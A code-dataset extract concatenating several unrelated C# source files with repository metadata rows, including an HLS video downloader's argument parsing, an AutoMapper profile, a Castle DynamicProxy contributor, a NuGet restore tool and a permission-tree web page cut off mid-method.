--maxSpeed Number 设置下载速度上限(单位为KB/s)
--enableDelAfterDone 开启下载后删除临时文件夹的功能
--enableMuxFastStart 开启混流mp4的FastStart特性
--enableBinaryMerge 开启二进制合并分片
--enableParseOnly 开启仅解析模式(程序只进行到meta.json)
--enableAudioOnly 合并时仅封装音频轨道
--disableDateInfo 关闭混流中的日期写入
--noMerge 禁用自动合并
--noProxy 不自动使用系统代理");
return;
}
if (arguments.Has("--enableDelAfterDone"))
{
delAfterDone = true;
}
if (arguments.Has("--enableParseOnly"))
{
parseOnly = true;
}
if (arguments.Has("--enableBinaryMerge"))
{
binaryMerge = true;
}
if (arguments.Has("--disableDateInfo"))
{
FFmpeg.WriteDate = false;
}
if (arguments.Has("--noMerge"))
{
noMerge = true;
}
if (arguments.Has("--noProxy"))
{
Global.NoProxy = true;
}
if (arguments.Has("--headers"))
{
reqHeaders = arguments.Get("--headers").Next;
}
if (arguments.Has("--enableMuxFastStart"))
{
muxFastStart = true;
}
if (arguments.Has("--enableAudioOnly"))
{
Global.VIDEO_TYPE = "IGNORE";
}
if (arguments.Has("--muxSetJson"))
{
muxSetJson = arguments.Get("--muxSetJson").Next;
}
if (arguments.Has("--workDir"))
{
workDir = arguments.Get("--workDir").Next;
DownloadManager.HasSetDir = true;
}
if (arguments.Has("--saveName"))
{
fileName = arguments.Get("--saveName").Next;
}
if (arguments.Has("--stopSpeed"))
{
Global.STOP_SPEED = Convert.ToInt64(arguments.Get("--stopSpeed").Next);
}
if (arguments.Has("--maxSpeed"))
{
Global.MAX_SPEED = Convert.ToInt64(arguments.Get("--maxSpeed").Next);
}
if (arguments.Has("--baseUrl"))
{
baseUrl = arguments.Get("--baseUrl").Next;
}
if (arguments.Has("--maxThreads"))
{
maxThreads = Convert.ToInt32(arguments.Get("--maxThreads").Next);
}
if (arguments.Has("--minThreads"))
{
minThreads = Convert.ToInt32(arguments.Get("--minThreads").Next);
}
if (arguments.Has("--retryCount"))
{
retryCount = Convert.ToInt32(arguments.Get("--retryCount").Next);
}
if (arguments.Has("--timeOut"))
{
timeOut = Convert.ToInt32(arguments.Get("--timeOut").Next);
}
if (arguments.Has("--downloadRange"))
{
string p = arguments.Get("--downloadRange").Next;
if (p.Contains(":"))
{
//时间码
Regex reg2 = new Regex(@"((\d+):(\d+):(\d+))?-((\d+):(\d+):(\d+))?");
if (reg2.IsMatch(p))
{
Parser.DurStart = reg2.Match(p).Groups[1].Value;
Parser.DurEnd = reg2.Match(p).Groups[5].Value;
Parser.DelAd = false;
}
}
else
{
//数字
Regex reg = new Regex(@"(\d*)-(\d*)");
if (reg.IsMatch(p))
{
if (!string.IsNullOrEmpty(reg.Match(p).Groups[1].Value))
{
Parser.RangeStart = Convert.ToInt32(reg.Match(p).Groups[1].Value);
Parser.DelAd = false;
}
if (!string.IsNullOrEmpty(reg.Match(p).Groups[2].Value))
{
Parser.RangeEnd = Convert.ToInt32(reg.Match(p).Groups[2].Value);
Parser.DelAd = false;
}
}
}
}
//如果只有URL,没有附加参数,则尝试解析配置文件
if (args.Length == 1)
{
if (File.Exists(Path.Combine(Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName), "N_m3u8DL-CLI.args.txt")))
{
args = Global.ParseArguments($"\"{args[0]}\"" + File.ReadAllText(Path.Combine(Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName), "N_m3u8DL-CLI.args.txt"))).ToArray(); //解析命令行
goto parseArgs;
}
}
//ReadLine字数上限
Stream steam = Console.OpenStandardInput();
Console.SetIn(new StreamReader(steam, Encoding.Default, false, 5000));
int inputRetryCount = 20;
input:
string testurl = "";
//重试太多次,退出
if (inputRetryCount == 0)
Environment.Exit(-1);
if (args.Length > 0)
testurl = args[0];
else
{
Console.CursorVisible = true;
Console.ForegroundColor = ConsoleColor.Cyan;
Console.Write("N_m3u8DL-CLI");
Console.ResetColor();
Console.Write(" > ");
args = Global.ParseArguments(Console.ReadLine()).ToArray(); //解析命令行
Global.WriteInit();
Console.CursorVisible = false;
goto parseArgs;
}
if (fileName == "")
fileName = Global.GetUrlFileName(testurl) + "_" + DateTime.Now.ToString("yyyyMMddHHmmss");
//优酷DRM设备更改
if (testurl.Contains("playlist/m3u8"))
{
string drm_type = Global.GetQueryString("drm_type", testurl);
string drm_device = Global.GetQueryString("drm_device", testurl);
if (drm_type != "1")
{
testurl = testurl.Replace("drm_type=" + drm_type, "drm_type=1");
}
if (drm_device != "11")
{
testurl = testurl.Replace("drm_device=" + drm_device, "drm_device=11");
}
}
string m3u8Content = string.Empty;
bool isVOD = true;
//开始解析
Console.CursorVisible = false;
LOGGER.PrintLine($"文件名称:{fileName}");
LOGGER.PrintLine($"存储路径:{Path.GetDirectoryName(Path.Combine(workDir, fileName))}");
Parser parser = new Parser();
parser.DownName = fileName;
parser.DownDir = Path.Combine(workDir, parser.DownName);
parser.M3u8Url = testurl;
if (baseUrl != "")
parser.BaseUrl = baseUrl;
parser.Headers = reqHeaders;
string exePath = Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName);
LOGGER.LOGFILE = Path.Combine(exePath, "Logs", DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss") + ".log");
LOGGER.InitLog();
LOGGER.WriteLine("Start Parsing " + testurl);
LOGGER.PrintLine("开始解析地址...", LOGGER.Warning);
if (testurl.EndsWith(".json") && File.Exists(testurl)) //可直接跳过解析
{
if (!Directory.Exists(Path.Combine(workDir, fileName)))//若文件夹不存在则新建文件夹
Directory.CreateDirectory(Path.Combine(workDir, fileName)); //新建文件夹
File.Copy(testurl, Path.Combine(Path.Combine(workDir, fileName), "meta.json"));
}
else
{
parser.Parse(); //开始解析
}
//仅解析模式
if (parseOnly)
{
LOGGER.PrintLine("解析m3u8成功, 程序退出");
Environment.Exit(0);
}
if (File.Exists(Path.Combine(Path.Combine(workDir, fileName), "meta.json")))
{
JObject initJson = JObject.Parse(File.ReadAllText(Path.Combine(Path.Combine(workDir, fileName), "meta.json")));
isVOD = Convert.ToBoolean(initJson["m3u8Info"]["vod"].ToString());
//传给Watcher总时长
Watcher.TotalDuration = initJson["m3u8Info"]["totalDuration"].Value<double>();
LOGGER.PrintLine($"文件时长:{Global.FormatTime((int)Watcher.TotalDuration)}");
LOGGER.PrintLine("总分片:" + initJson["m3u8Info"]["originalCount"].Value<int>()
+ ", 已选择分片:" + initJson["m3u8Info"]["count"].Value<int>());
}
else
{
DirectoryInfo directoryInfo = new DirectoryInfo(Path.Combine(workDir, fileName));
directoryInfo.Delete(true);
LOGGER.PrintLine("地址无效", LOGGER.Error);
LOGGER.CursorIndex = 5;
inputRetryCount--;
goto input;
}
//点播
if (isVOD == true)
{
ServicePointManager.DefaultConnectionLimit = 10000;
DownloadManager md = new DownloadManager();
md.DownDir = parser.DownDir;
md.Headers = reqHeaders;
md.Threads = Environment.ProcessorCount;
if (md.Threads > maxThreads)
md.Threads = maxThreads;
if (md.Threads < minThreads)
md.Threads = minThreads;
if (File.Exists("minT.txt"))
{
int t = Convert.ToInt32(File.ReadAllText("minT.txt"));
if (md.Threads <= t)
md.Threads = t;
}
md.TimeOut = timeOut * 1000;
md.NoMerge = noMerge;
md.DownName = fileName;
md.DelAfterDone = delAfterDone;
md.BinaryMerge = binaryMerge;
md.MuxFormat = "mp4";
md.RetryCount = retryCount;
md.MuxSetJson = muxSetJson;
md.MuxFastStart = muxFastStart;
md.DoDownload();
}
//直播
if (isVOD == false)
{
LOGGER.WriteLine("Living Stream Found");
LOGGER.WriteLine("Start Recording");
LOGGER.PrintLine("识别为直播流, 开始录制");
LOGGER.STOPLOG = true; //停止记录日志
//开辟文件流,且不关闭。(便于播放器不断读取文件)
string LivePath = Path.Combine(Directory.GetParent(parser.DownDir).FullName
, DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss") + "_" + fileName + ".ts");
FileStream outputStream = new FileStream(LivePath, FileMode.Append);
HLSLiveDownloader live = new HLSLiveDownloader();
live.DownDir = parser.DownDir;
live.Headers = reqHeaders;
live.LiveStream = outputStream;
live.LiveFile = LivePath;
live.TimerStart(); //开始录制
Console.ReadKey();
}
//监听测试
/*httplitsen:
HTTPListener.StartListening();*/
LOGGER.WriteLineError("Download Failed");
LOGGER.PrintLine("下载失败, 程序退出", LOGGER.Error);
Console.CursorVisible = true;
Environment.Exit(-1);
//Console.Write("按任意键继续..."); Console.ReadKey(); return;
}
catch (Exception ex)
{
Console.CursorVisible = true;
LOGGER.PrintLine(ex.Message, LOGGER.Error);
}
}
}
}
| 38.152 | 220 | 0.472174 |
[
"MIT"
] |
0x30B56/N_m3u8DL-CLI
|
N_m3u8DL-CLI/Program.cs
| 28,093 |
C#
|
using AutoMapper;
using BunBlog.API.Models.Tags;
using BunBlog.Core.Domain.Posts;
using BunBlog.Core.Domain.Tags;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace BunBlog.API.MappingProfiles
{
public class TagProfile : Profile
{
public TagProfile()
{
CreateMap<Tag, TagModel>();
CreateMap<PostTag, TagModel>().ConvertUsing((pt, tm, rc) =>
{
return rc.Mapper.Map<TagModel>(pt.Tag);
});
CreateMap<TagModel, Tag>();
}
}
}
| 22.769231 | 71 | 0.613176 |
[
"MIT"
] |
huhubun/BunBlog.API
|
src/BunBlog.API/MappingProfiles/TagProfile.cs
| 594 |
C#
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace KFC.SIT.WebAPI.Utility
{
public static class WebAPIConstants
{
public const string FRONT_END_LOCAL = "http://localhost:8080";
public const string FRONT_END_PRODUCTION = "https://myacademicpyramid.com";
}
}
| 25.384615 | 83 | 0.727273 |
[
"MIT"
] |
CECS-491A/my-academic-pyramid
|
BackEnd/KFC.SIT.WebAPI/Utility/WebAPIConstants.cs
| 332 |
C#
|
// Copyright 2004-2011 Castle Project - http://www.castleproject.org/
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
namespace Castle.DynamicProxy.Contributors
{
using System;
using Castle.DynamicProxy.Generators.Emitters;
using Castle.DynamicProxy.Generators.Emitters.CodeBuilders;
using Castle.DynamicProxy.Generators.Emitters.SimpleAST;
using Castle.DynamicProxy.Tokens;
internal class InterfaceProxyInstanceContributor : ProxyInstanceContributor
{
protected override Reference GetTargetReference(ClassEmitter emitter)
{
return emitter.GetField("__target");
}
public InterfaceProxyInstanceContributor(Type targetType, string proxyGeneratorId, Type[] interfaces)
: base(targetType, interfaces, proxyGeneratorId)
{
}
#if FEATURE_SERIALIZATION
protected override void CustomizeGetObjectData(AbstractCodeBuilder codebuilder, ArgumentReference serializationInfo,
ArgumentReference streamingContext, ClassEmitter emitter)
{
var targetField = emitter.GetField("__target");
codebuilder.AddStatement(new ExpressionStatement(
new MethodInvocationExpression(serializationInfo, SerializationInfoMethods.AddValue_Object,
new ConstReference("__targetFieldType").ToExpression(),
new ConstReference(
targetField.Reference.FieldType.AssemblyQualifiedName).
ToExpression())));
codebuilder.AddStatement(new ExpressionStatement(
new MethodInvocationExpression(serializationInfo, SerializationInfoMethods.AddValue_Object,
new ConstReference("__theInterface").ToExpression(),
new ConstReference(targetType.AssemblyQualifiedName).
ToExpression())));
}
#endif
}
}
| 46.210526 | 120 | 0.643508 |
[
"Apache-2.0"
] |
benchabot/Core
|
src/Castle.Core/DynamicProxy/Contributors/InterfaceProxyInstanceContributor.cs
| 2,634 |
C#
|
using System;
using System.Collections.Generic;
using System.Linq;
using Newtonsoft.Json;
using Newtonsoft.Json.Converters;
namespace Newtonsoft.Json.Converters
{
internal class SeparatedByVBarInt32ListConverter : JsonConverter<List<int>?>
{
private readonly JsonConverter<int[]?> _converter = new SeparatedByVBarInt32ArrayConverter();
public override bool CanRead
{
get { return true; }
}
public override bool CanWrite
{
get { return true; }
}
public override List<int>? ReadJson(JsonReader reader, Type objectType, List<int>? existingValue, bool hasExistingValue, JsonSerializer serializer)
{
return _converter.ReadJson(reader, objectType, existingValue?.ToArray(), hasExistingValue, serializer)?.ToList();
}
public override void WriteJson(JsonWriter writer, List<int>? value, JsonSerializer serializer)
{
_converter.WriteJson(writer, value?.ToArray(), serializer);
}
}
}
| 30.705882 | 155 | 0.668582 |
[
"MIT"
] |
KimMeng2015/DotNetCore.SKIT.FlurlHttpClient.Wechat
|
src/SKIT.FlurlHttpClient.Wechat.Work/Converters/Newtonsoft.Json/SeparatedByVBarInt32ListConverter.cs
| 1,046 |
C#
|
using System.Collections.Generic;
using System.Linq;
using System.Threading;
using System.Threading.Tasks;
using AspNetCoreHero.Application.Features.ProductCategories.Queries.GetAll;
using AspNetCoreHero.Application.Interfaces.Repositories;
using AspNetCoreHero.Application.Wrappers;
using AspNetCoreHero.Domain.Entities;
using AutoMapper;
using MediatR;
using Microsoft.EntityFrameworkCore;
namespace AspNetCoreHero.Application.Features.Products.Queries.GetAll
{
public class GetAllProductsQuery : IRequest<PagedResponse<GetAllProductsViewModel>>
{
public int PageNumber { get; set; }
public int PageSize { get; set; }
}
public class GetAllProductsQueryHandler : IRequestHandler<GetAllProductsQuery, PagedResponse<GetAllProductsViewModel>>
{
private readonly IProductRepositoryAsync _productRepository;
private readonly IMapper _mapper;
public GetAllProductsQueryHandler(IProductRepositoryAsync productRepository,IMapper mapper)
{
_productRepository = productRepository;
_mapper = mapper;
}
public async Task<PagedResponse<GetAllProductsViewModel>> Handle(GetAllProductsQuery request, CancellationToken cancellationToken)
{
request.PageNumber = request.PageNumber == 0 ? 1 : request.PageNumber;
request.PageSize = request.PageSize == 0 ? 10 : request.PageSize;
var products = await _productRepository.GetAllWithCategoriesAsync(request.PageNumber,request.PageSize);
var count = await _productRepository.Entities.LongCountAsync();
var productViewModel = _mapper.Map<IEnumerable<GetAllProductsViewModel>>(products.Items);
return new PagedResponse<GetAllProductsViewModel>(productViewModel.ToList(), count, request.PageNumber, request.PageSize);
}
}
}
| 44.119048 | 138 | 0.751214 |
[
"MIT"
] |
OsamahGhadheb/AspNetCoreHero-Boilerplate
|
AspNetCoreHero.Application/Features/Products/Queries/GetAll/GetAllProductsQuery.cs
| 1,855 |
C#
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace DGCodeGen.Engine
{
/// <summary>
/// An interface for object representations of code e.g. Function/DataClass
/// </summary>
public interface ICodeItem
{
CodeDocument CodeDocument { get; }
string Name { get; }
}
}
| 21.166667 | 79 | 0.674541 |
[
"MIT"
] |
NickN-Eng/DynamoGrasshopperCodeGen
|
DGCodeGen/DGCodeGen.Engine/ICodeItem.cs
| 383 |
C#
|
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Threading;
using System.Threading.Tasks;
using Arbor.Build.Core.BuildVariables;
using Arbor.Build.Core.IO;
using Arbor.Build.Core.ProcessUtils;
using Arbor.Build.Core.Tools.MSBuild;
using Arbor.FS;
using Arbor.Processing;
using JetBrains.Annotations;
using Serilog;
using Zio;
namespace Arbor.Build.Core.Tools.NuGet
{
[Priority(101)]
[UsedImplicitly]
public class NuGetRestorer : ITool
{
private readonly IFileSystem _fileSystem;
private readonly BuildContext _buildContext;
public NuGetRestorer(IFileSystem fileSystem, BuildContext buildContext)
{
_fileSystem = fileSystem;
_buildContext = buildContext;
}
public async Task<ExitCode> ExecuteAsync(
ILogger logger,
IReadOnlyCollection<IVariable> buildVariables,
string[] args,
CancellationToken cancellationToken)
{
bool enabled = buildVariables.GetBooleanByKey(
WellKnownVariables.NuGetRestoreEnabled);
if (!enabled)
{
logger.Debug("{Tool} is disabled", nameof(NuGetRestorer));
return ExitCode.Success;
}
var nugetExePath =
buildVariables.GetVariable(WellKnownVariables.ExternalTools_NuGet_ExePath).GetValueOrThrow().ParseAsPath();
FileEntry[] solutionFiles = _buildContext.SourceRoot.GetFiles( "*.sln", SearchOption.AllDirectories).ToArray();
PathLookupSpecification pathLookupSpecification =
DefaultPaths.DefaultPathLookupSpecification.AddExcludedDirectorySegments(new[] { "node_modules" });
var excludeListStatus = solutionFiles
.Select(file => new { File = file, Status = pathLookupSpecification.IsFileExcluded(file, _buildContext.SourceRoot) })
.ToArray();
FileEntry[] included = excludeListStatus
.Where(file => !file.Status.Item1)
.Select(file => file.File)
.ToArray();
var excluded = excludeListStatus
.Where(file => file.Status.Item1)
.ToArray();
if (included.Length > 1)
{
logger.Error("Expected exactly 1 solution file, found {Length}, {V}",
included.Length,
string.Join(", ", included.Select(s => s.FullName)));
return ExitCode.Failure;
}
if (included.Length == 0)
{
logger.Error("Expected exactly 1 solution file, found 0");
return ExitCode.Failure;
}
if (excluded.Length > 0)
{
logger.Warning("Found not allowed solution files: {Files}",
string.Join(", ",
excluded.Select(excludedItem => $"{_fileSystem.ConvertPathToInternal(excludedItem.File.Path)} ({excludedItem.Status.Item2})")));
}
var solutionFile = included.Single();
var arguments = new List<string> { "restore", _fileSystem.ConvertPathToInternal(solutionFile.Path) };
ExitCode result = await ProcessHelper.ExecuteAsync(
_fileSystem.ConvertPathToInternal(nugetExePath),
arguments,
logger,
cancellationToken: cancellationToken).ConfigureAwait(false);
return result;
}
}
}
| 34.77451 | 152 | 0.600226 |
[
"MIT"
] |
niklaslundberg/Arbor.Build
|
src/Arbor.Build.Core/Tools/NuGet/NuGetRestorer.cs
| 3,549 |
C#
|
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using TeleSharp.TL;
namespace TeleSharp.TL
{
[TLObject(1855224129)]
public class TLUpdateChatAdmins : TLAbsUpdate
{
public override int Constructor
{
get
{
return 1855224129;
}
}
public int ChatId { get; set; }
public bool Enabled { get; set; }
public int Version { get; set; }
public void ComputeFlags()
{
}
public override void DeserializeBody(BinaryReader br)
{
this.ChatId = br.ReadInt32();
this.Enabled = BoolUtil.Deserialize(br);
this.Version = br.ReadInt32();
}
public override void SerializeBody(BinaryWriter bw)
{
bw.Write(this.Constructor);
bw.Write(this.ChatId);
BoolUtil.Serialize(this.Enabled, bw);
bw.Write(this.Version);
}
}
}
| 21.530612 | 61 | 0.56019 |
[
"MIT"
] |
slctr/Men.Telegram.ClientApi
|
Men.Telegram.ClientApi/TL/TL/TLUpdateChatAdmins.cs
| 1,055 |
C#
|
namespace Zinnia.Haptics
{
using UnityEngine;
using System.Collections;
using Malimbe.PropertySerializationAttribute;
using Malimbe.XmlDocumentationAttribute;
/// <summary>
/// Creates a haptic pattern based on the waveform of an <see cref="UnityEngine.AudioClip"/> and utilizes a <see cref="Haptics.HapticPulser"/> to create the effect.
/// </summary>
public class AudioClipHapticPulser : RoutineHapticPulser
{
/// <summary>
/// The waveform to represent the haptic pattern.
/// </summary>
[Serialized]
[field: DocumentedByXml]
public AudioClip AudioClip { get; set; }
/// <summary>
/// The size of the audio buffer.
/// </summary>
protected const int BufferSize = 8192;
/// <summary>
/// The audio data buffer.
/// </summary>
protected readonly float[] audioData = new float[BufferSize];
/// <inheritdoc />
public override bool IsActive()
{
return base.IsActive() && AudioClip != null;
}
/// <summary>
/// Enumerates through <see cref="AudioClip"/> and pulses for each amplitude of the wave.
/// </summary>
/// <returns>An Enumerator to manage the running of the Coroutine.</returns>
protected override IEnumerator HapticProcessRoutine()
{
int sampleOffset = -BufferSize;
float startTime = Time.time;
float length = AudioClip.length;
float endTime = startTime + length;
float sampleRate = AudioClip.samples;
while (Time.time <= endTime)
{
float lerpVal = (Time.time - startTime) / length;
int sampleIndex = (int)(sampleRate * lerpVal);
if (sampleIndex >= sampleOffset + BufferSize)
{
AudioClip.GetData(audioData, sampleIndex);
sampleOffset = sampleIndex;
}
float currentSample = Mathf.Abs(audioData[sampleIndex - sampleOffset]);
HapticPulser.Intensity = currentSample * IntensityMultiplier;
HapticPulser.Begin();
yield return null;
}
ResetIntensity();
}
}
}
| 37.619048 | 169 | 0.554852 |
[
"MIT"
] |
Yun5141/VRTKtest
|
Library/PackageCache/[email protected]/Runtime/Haptics/AudioClipHapticPulser.cs
| 2,372 |
C#
|
using System;
using FluentAssertions;
using NUnit.Framework;
using UIA.Extensions.InternalExtensions;
namespace UIA.Extensions.Extensions
{
internal class ObjectExtensionsTest
{
[TestFixture]
public class Comparisons
{
[Test]
public void NullComparisonsAreFalse()
{
"".CeremoniallyEquals(null, TrueResult).Should().BeFalse();
}
[Test]
public void LookInsideYourself()
{
const string samesies = "";
samesies.CeremoniallyEquals(samesies, FalseResult).Should().BeTrue();
}
[Test]
public void DifferentStrokes()
{
"".CeremoniallyEquals(1, TrueResult).Should().BeFalse();
}
[Test]
public void TheFinalExam()
{
"thes are".CeremoniallyEquals("not the same, but whatever, return a", TrueResult)
.Should().BeTrue();
}
private static bool TrueResult(object obj)
{
return true;
}
private static bool FalseResult(object obj)
{
return false;
}
}
[TestFixture]
public class HashingItOut
{
[Test]
public void HashCodesAreCombined()
{
var now = DateTime.Now;
"".CombinedHashCodes(123, "", now)
.Should().Be(123.GetHashCode() ^ "".GetHashCode() ^ now.GetHashCode());
}
[Test]
public void SequencesAreTheSameIfDesired()
{
var sequence = new[] { "a", "b", "whatever" };
sequence.GetSequenceHashCode()
.Should().Be("a".GetHashCode() ^ "b".GetHashCode() ^ "whatever".GetHashCode());
}
[Test]
public void NullsAreCool()
{
"".CombinedHashCodes("", null, null)
.Should().Be("".GetHashCode());
}
}
}
}
| 27.358974 | 97 | 0.473758 |
[
"MIT"
] |
northwoodspd/UIA.Extensions
|
src/UIA.Extensions.Units/Extensions/ObjectExtensionsTest.cs
| 2,136 |
C#
|
using DevAdventCalendarCompetition.Repository.Models;
using System.Collections.Generic;
namespace DevAdventCalendarCompetition.Repository.Interfaces
{
public interface IHomeRepository
{
Test GetCurrentTest();
TestAnswer GetTestAnswerByUserId(string userId, int testId);
List<Test> GetTestsWithUserAnswers();
}
}
| 25.071429 | 68 | 0.757835 |
[
"MIT"
] |
Loji/DevAdventCalendar
|
src/DevAdventCalendarCompetition/DevAdventCalendarCompetition.Repository/Interfaces/IHomeRepository.cs
| 353 |
C#
|
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
using System.Collections.Generic;
using Aliyun.Acs.Core;
using Aliyun.Acs.Core.Http;
using Aliyun.Acs.Core.Transform;
using Aliyun.Acs.Core.Utils;
using Aliyun.Acs.vod.Transform;
using Aliyun.Acs.vod.Transform.V20170321;
namespace Aliyun.Acs.vod.Model.V20170321
{
public class BatchStartVodDomainRequest : RpcAcsRequest<BatchStartVodDomainResponse>
{
public BatchStartVodDomainRequest()
: base("vod", "2017-03-21", "BatchStartVodDomain", "vod", "openAPI")
{
}
private string securityToken;
private string domainNames;
private long? ownerId;
public string SecurityToken
{
get
{
return securityToken;
}
set
{
securityToken = value;
DictionaryUtil.Add(QueryParameters, "SecurityToken", value);
}
}
public string DomainNames
{
get
{
return domainNames;
}
set
{
domainNames = value;
DictionaryUtil.Add(QueryParameters, "DomainNames", value);
}
}
public long? OwnerId
{
get
{
return ownerId;
}
set
{
ownerId = value;
DictionaryUtil.Add(QueryParameters, "OwnerId", value.ToString());
}
}
public override BatchStartVodDomainResponse GetResponse(UnmarshallerContext unmarshallerContext)
{
return BatchStartVodDomainResponseUnmarshaller.Unmarshall(unmarshallerContext);
}
}
}
| 25.352273 | 104 | 0.688032 |
[
"Apache-2.0"
] |
mycjzlove/aliyun-openapi-net-sdk
|
aliyun-net-sdk-vod/Vod/Model/V20170321/BatchStartVodDomainRequest.cs
| 2,231 |
C#
|
using AjaxPro;
using EIS.AppBase;
using EIS.DataAccess;
using EIS.Permission.Access;
using EIS.Permission.Model;
using EIS.Permission.Service;
using System;
using System.Collections;
using System.Data;
using System.Text;
using System.Web.UI.HtmlControls;
using System.Xml;
namespace EIS.Web.Doc.Limit
{
public partial class FunLimitExclude : PageBase
{
public string funId = "";
public string webId = "";
public string strTreeHtml = "";
public string strLimitData = "";
public string strJsonData = "";
public string strLink = "";
public bool IsExpan = true;
public int iExpanClass = 1;
public string OrderByFieldName = "";
public string SystemImagePath = "../../img/treeimages/";
private StringBuilder stringBuilder_0 = new StringBuilder();
private StringBuilder stringBuilder_1 = new StringBuilder();
private DataTable dataTable_0 = new DataTable();
private string string_0 = "0";
public string GetListTree(string PIDValue, string Indent)
{
StringBuilder stringBuilder = new StringBuilder();
string indent = "";
int num = 0;
string str = "";
string str1 = "";
string str2 = "";
string str3 = "";
string str4 = "";
string[] string0 = new string[] { "", "", "", "", "", "", "" };
string[] strArrays = string0;
DataRow[] dataRowArray = this.dataTable_0.Select(string.Concat("deptPWBS='", PIDValue, "'"), "orderId");
int length = (int)dataRowArray.Length;
for (int i = 0; i < length; i++)
{
DataRow dataRow = dataRowArray[i];
str4 = dataRow["deptid"].ToString();
str2 = dataRow["deptwbs"].ToString();
str3 = dataRow["deptname"].ToString();
string str5 = (dataRow["Limit"].ToString() == "" ? "0000000000" : dataRow["Limit"].ToString());
StringBuilder stringBuilder0 = this.stringBuilder_0;
string0 = new string[] { "<tn id=\"", str2, "\" bizId=\"", str4, "\" limit=\"", str5, "\" EditFlag=\"", this.string_0, "\" >" };
stringBuilder0.Append(string.Concat(string0));
if (str5.Length >= 7)
{
strArrays[0] = (str5.Substring(0, 1) == "1" ? "checked" : " ");
strArrays[1] = (str5.Substring(1, 1) == "1" ? "checked" : " ");
strArrays[2] = (str5.Substring(2, 1) == "1" ? "checked" : " ");
strArrays[3] = (str5.Substring(3, 1) == "1" ? "checked" : " ");
strArrays[4] = (str5.Substring(4, 1) == "1" ? "checked" : " ");
strArrays[5] = (str5.Substring(5, 1) == "1" ? "checked" : " ");
strArrays[6] = (str5.Substring(6, 1) == "1" ? "checked" : " ");
}
int length1 = (int)this.dataTable_0.Select(string.Concat("deptPWBS='", str2, "'")).Length;
string str6 = "open";
string str7 = "";
if (Indent.Length - 1 > this.iExpanClass)
{
str6 = "close";
str7 = "display:none;";
}
string str8 = "";
if (str2.Length == 36)
{
str8 = "pos";
}
object[] objArray = new object[] { "<tr name='tr", str2, "' id='tr", str2, "' style='", str7, "' state='", str6, "' sonnum=", length1, " ><td class='nodetd ", str8, "'>" };
stringBuilder.Append(string.Concat(objArray));
indent = Indent;
indent = indent.Replace("0", string.Concat("<img src='", this.SystemImagePath, "white.gif' align=AbsMiddle>"));
indent = indent.Replace("1", string.Concat("<img src='", this.SystemImagePath, "i.gif' align=AbsMiddle>"));
stringBuilder.Append(indent);
num++;
str1 = "Lminus.gif";
if (Indent.Length > this.iExpanClass)
{
str1 = "Lplus.gif";
}
if (length1 <= 0)
{
indent = (num != (int)dataRowArray.Length ? string.Concat("<img src='", this.SystemImagePath, "T.gif' align=AbsMiddle>") : string.Concat("<img src='", this.SystemImagePath, "L.gif' align=AbsMiddle>"));
}
else if (num != (int)dataRowArray.Length)
{
str = string.Concat(Indent, "1");
string0 = new string[] { "<img id='img", str2, "' style=\"cursor:hand\" src='", this.SystemImagePath, str1, "' align=absBottom \n onclick=\"javascript:ShowHide(this,'", str2, "');\">" };
indent = string.Concat(string0);
}
else
{
str = string.Concat(Indent, "0");
string0 = new string[] { "<img id='img", str2, "' style=\"cursor:hand\" src='", this.SystemImagePath, str1, "' align=absBottom \n onclick=\"javascript:ShowHide(this,'", str2, "');\">" };
indent = string.Concat(string0);
}
stringBuilder.Append(indent);
stringBuilder.AppendFormat("<input type=checkbox id='chk0{0}' name='chk{0}' ><label for='chk0{0}'>{1}</label></td>", str2, str3);
string0 = new string[] { "<td ><input type=checkbox id='chk1", str2, "' name='chk", str2, "' ", strArrays[0], "></td>" };
stringBuilder.Append(string.Concat(string0));
string0 = new string[] { "<td ><input type=checkbox id='chk2", str2, "' name='chk", str2, "' ", strArrays[1], "></td>" };
stringBuilder.Append(string.Concat(string0));
string0 = new string[] { "<td ><input type=checkbox id='chk3", str2, "' name='chk", str2, "' ", strArrays[2], "></td>" };
stringBuilder.Append(string.Concat(string0));
string0 = new string[] { "<td ><input type=checkbox id='chk4", str2, "' name='chk", str2, "' ", strArrays[3], "></td>" };
stringBuilder.Append(string.Concat(string0));
string0 = new string[] { "<td ><input type=checkbox id='chk5", str2, "' name='chk", str2, "' ", strArrays[4], "></td>" };
stringBuilder.Append(string.Concat(string0));
string0 = new string[] { "<td ><input type=checkbox id='chk6", str2, "' name='chk", str2, "' ", strArrays[5], "></td>" };
stringBuilder.Append(string.Concat(string0));
string0 = new string[] { "<td ><input type=checkbox id='chk7", str2, "' name='chk", str2, "' ", strArrays[6], "></td>" };
stringBuilder.Append(string.Concat(string0));
stringBuilder.Append("</tr>");
stringBuilder.Append(this.GetListTree(str2, str));
this.stringBuilder_0.Append("</tn>");
}
this.strLimitData = this.stringBuilder_0.ToString();
return stringBuilder.ToString();
}
public void GetModelXML(string PIDValue)
{
string str = "";
string str1 = "";
DataRow[] dataRowArray = this.dataTable_0.Select(string.Concat("deptPWBS='", PIDValue, "'"));
int length = (int)dataRowArray.Length;
for (int i = 0; i < length; i++)
{
DataRow dataRow = dataRowArray[i];
str1 = dataRow["deptId"].ToString();
